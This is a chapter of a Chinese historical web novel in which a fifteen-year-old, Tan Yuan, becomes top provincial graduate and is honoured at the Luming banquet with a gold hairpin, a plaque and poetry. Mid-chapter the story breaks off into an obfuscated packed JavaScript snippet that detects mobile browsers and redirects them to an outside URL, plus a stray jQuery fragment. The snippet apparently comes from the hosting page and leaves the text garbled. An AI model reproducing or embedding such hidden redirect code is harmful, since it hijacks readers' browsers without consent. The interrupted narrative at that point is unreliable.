他中了,他是解元!谈远猛地站起来,非常激动。
他激动,他身边的人比他还激动,一个劲地伸手招呼,这里这里。甚至旁边的人也帮着喊,报喜人听了就往谈远处走,效率非常高。
“抚州府谈建之子谈远,高中解元!”报喜人高声捧谈远。
“您可是谈解元?”
谈?解元?远简直太快乐了,他真的是第一,他都有点想哭了,“是我,在下姓谈名远。”
报喜人很高兴:“谈远少爷真是少爷英才,小小年纪就中了解元。”又朝围观的看客道:“十五岁的解元呢!”
十五岁的解元?
虽然谈远一看就面嫩年纪小,但书生们本来就显年轻,也没人相信他这么小就能中。这会儿真是十五岁,都非常感叹,议论纷纷。
谈远给了喜钱,报喜人道:“明日就是鹿鸣宴,都是你们这些新举子去拿文书的。”
报喜人走了,今天的放榜也就结束了,所有的举人都出炉了。
谈远正想着鹿鸣宴,围观的人就围上来客套了。有同是抚州府的,有家里儿子一样大的,有家里也有读书人的,还有家里有家资想嫁女儿的。
这方小天地一下就满了,好在谈远此时也非常激动,很愿意跟这些百姓谈一谈,也不算困扰。
聊到天黑吃晚饭,总算只剩他们三家人了,他们都累了,大家总算不过来了。因此,餐桌上很寂静,不过大家心里都很高兴。
吃过饭,吴骄道:“现在天色晚了,明天你们早早起来,去租件青绸圆领袍子吧?”
青绸圆领袍,模仿的是官服的式样,可不是普通人能穿的,只有举人及以上能穿。
但是布庄倒常备着这些东西的,特别是乡试刚放榜,谈远很容易就租了一件。
“一天一百文,好贵啊。”一起来租衣服的曾叔平道。
“是啊,还押着一两银子呢。可得爱惜着衣服,不然押金没了不说,还得赔钱。”谈远道。
两人结伴去了鹿鸣堂,吴骄自己有好衣服,要多睡会儿,会晚点去。
鹿鸣堂因鹿鸣宴得名,而鹿鸣堂就在滕王阁旁。他们之前来过这儿玩,且现在更愿意在客栈被人吹捧,就不过来了。而且他们都是平民百姓,有点怵这官家的地儿。
“鹿鸣昭瑞,贤才登科,谈兄乃是解元,进了里面按名次排座,谈兄必是居首了。”曾叔平道。
谈远笑道:“是头名举人固然可喜,但在座的主考官、同考官、提学御史,还有那些布政使、按察使、知府,谁不是举人进士。
听说鹿鸣宴还有本地名儒和致仕高官,不知道杜先生在不在?还是李山长在?”
鹿鸣宴虽没有规定时辰,但哪个新举子敢怠慢,都是早早就来了,不过为吃早饭有先后而已,很快人就到齐了。
李山长竟然真的在,谈远和曾叔平一起见过了山长,又被他引着见了一些人。
山长满面笑容,见时间差不多了,叮嘱道:“快开始了,好好玩。”
鹿鸣宴是宴会,自然要玩,谈远对古代的这些宴会好奇,昨儿问了吴骄,他今天想见识见识,但更想要他的举人文书,以后可以公车赶考了。
“奏乐~!”
有人喊道,很快乐工就搬着乐器进来了。
谈远很淡定,他知道这是要唱《诗经·小雅·鹿鸣》了,他们这些举人只需要偶尔应和“我有嘉宾,鼓瑟吹笙。”这样几句。
在场的人们,心里都清楚,有些提前做好了准备,心里紧张。有些随意,看看谈远,看看别人,认认人。
音乐响起,乐人先唱,举人们合唱。
谈远还没变声,是少年音,非常适合唱诗经,听着就悦耳。
他唱第一遍的时候还不熟悉,唱第二遍的时候就进入了状态,用心去唱,唱得挺开心。
其他人虽没有他这么开心,但是经历了一起唱诗经,消耗了力气,都感觉愉快,且今天是他们的好日子!
林言看着谈远还有其他举子,在乐人退下去后道:“接下来是簪花礼,从解元开始,本官亲自给你们簪花送文书。”
说完,一拍手,就有两个人捧着红布垫的盒子过来了。
“远哥儿,是你中了解元?真是少爷天才,该簪金花。”
谈远早在林知府看他时就自觉上前了,谦虚道:“是学生,不敢不敢。”
“有什么不敢,读书之事又不是靠年纪,你们都是凭本事中的,想想乡试之前,竟有近一半考生不敢考了,哼!分明是心中有鬼。科举本就该像咱们这样堂堂正正的比,是不是啊?”
谈远一边听林知府说话一边弯腰,一支鎏金的银花就插在了他头上。
他还看到第二名的盒子上是银花,想来之后都是银花,只他是金花!
“学生不怕和人比试。”谈远大声道。
“正该如此。”林言摸了摸胡子,谈远被他扶着面向众人。
“你们都是同年,一起考中秀才的,将来也必定一起考中进士。今天在这鹿鸣宴上好好玩,认认人,在场的可都是大明的栋梁!”
谈远在旁边,感觉学到了。
“在场宾客都是德才兼备的,互相可都认识?这位,谈解元,谁识得?”
没人说话,谈远想,应该是林知府要亲自介绍他,他们都看出来了。
果然。
“若是他姓谈名远,十五岁中举人,确实厉害,可我们认不得。那若是他发明了白玉笔,可记起来了?”
白玉笔!宴会上一阵骚动。那些新科举子,读书就废了全部力气,哪有力气搞别的,还搞得这么好。那些年纪大的致仕高官,本地名儒就更不用说了,只有做官做学问厉害,更没有人靠着别的什么名满仕林。
他们又是惊讶,又是羡慕,还有嫉妒。但一想到谈远是他们江西的,又给江西扬了名,又为他骄傲。
谈远虽然不认识他们,但把他们脸上的情绪看得清清楚楚,微笑着面对他们。
“看来诸位是记起来了,有此贤才,本官也颇为骄傲。今日既见了我们,合不赋诗一首,赞赞那白玉笔?”
拿文书簪金花,谈远有种大学毕业的感觉。现在作诗,则很有古代感,他根本没准备。
但谈远不慌,他之前有几首别人没见过的诗,赞白玉笔的,正好现在改动改动念出来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626161|172367||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
只见谈远略微沉吟,就开口道:“大人抬爱,那在下就献丑了。
冰心凝就白玉团,乐染霜锋书万端。
莫道身微终化尽,鹿鸣宴贺众才欢。”
“好!”曾叔平率先喝彩,众人也纷纷喝彩,赞叹。
虽然诗不算作得很好,但这是临时做出来的,符合现在的场面的,谈远对自己还挺满意的。
谈远看一眼林知府,他貌似也挺满意。
“真是好诗,恰和此时人物场面。谈解元真是文人魁首,本官特赐你文魁匾额悬挂家门。”
说完,就有两人抬着写着文魁两个大字的匾额出来展示了。
谈远非常惊讶,他是听说知府会送解元匾额,但不是每个人都会有的,他没想到他会有!
“多谢知府大人垂爱,学生受之有愧。”
“谈解元不要谦虚,你就收下吧。”待谈远点头,他道:“刚刚谈解元作了诗,也勾起来本官的诗兴,本官也赋诗一首。”
林知府说完真吟了一首,谈远感觉比自己的更好,还感到了林知府的快乐。
林知府做完诗,又有几个人站起来作诗,作完,谈远便让回去了,该给第二名文书和簪花了。
谈远坐定,旁边的人就上去了,果然是簪的银花。林知府和他说了几句话,他很快就下来了,谈远看到他的银花好似看到了自己的金花。
接着又是第三名,每一个上去,谈远都仔细看人,要记住他们的名字和样貌。
不少人都注意到他了,和他对视,谈远也礼貌点头回应。
没人有谈远这个待遇,但九十五名举人的簪花礼也是花了很长时间,要是有人没吃早饭,那就难捱了。
林知府见了许多人,说了许多话,还是很有精神,甚至比开始时更兴奋。
“簪花礼毕,现在也该刻齿录了。县志府志若没有诸位,那也是白写了。”林知府说完笑着看了一眼身边人。
他会意,立刻来了两队人给在场的九十五名举人上笔墨纸砚。他们端着盘子,仪态端正,上完笔墨纸砚立刻回去再拿。
谈远是最先拿到笔墨纸砚的那一拨,他闻了闻墨,还不错,又摸了摸纸,也是好纸。笔和砚台,只需看一眼,他就知道,这也差不了。
他家就是卖砚台的,也不算贵的,要是能卖到这些地方就好了。
“不过是些微贱小物,劳烦诸位举人在这纸上写上三代籍贯并详细描写自己,将来可是要上府志的,不容有错。”
谈远随大流道:“不敢不敢,学生一定用心。”
没想到之后他和那些举人们一样开始磨墨准备写字的时候,林知府请来的那些嘉宾竟然动起来了,不少人都来看他写,也有看合自己眼缘的。
谈远身边围满了人,只眼前没人,怕挡了他的光。
“爷爷谈武,奶奶林小九。爹谈建,娘金妮儿。”有人把谈远的三代籍贯念了出来。
谈远想,若是他们知道这些“老爷”念了他们的名字,会怎么想?
“谈解元出身贫寒,人微志坚,小小年纪就有奇才,真是家门有幸啊!不像我们,都是些不肖儿孙。”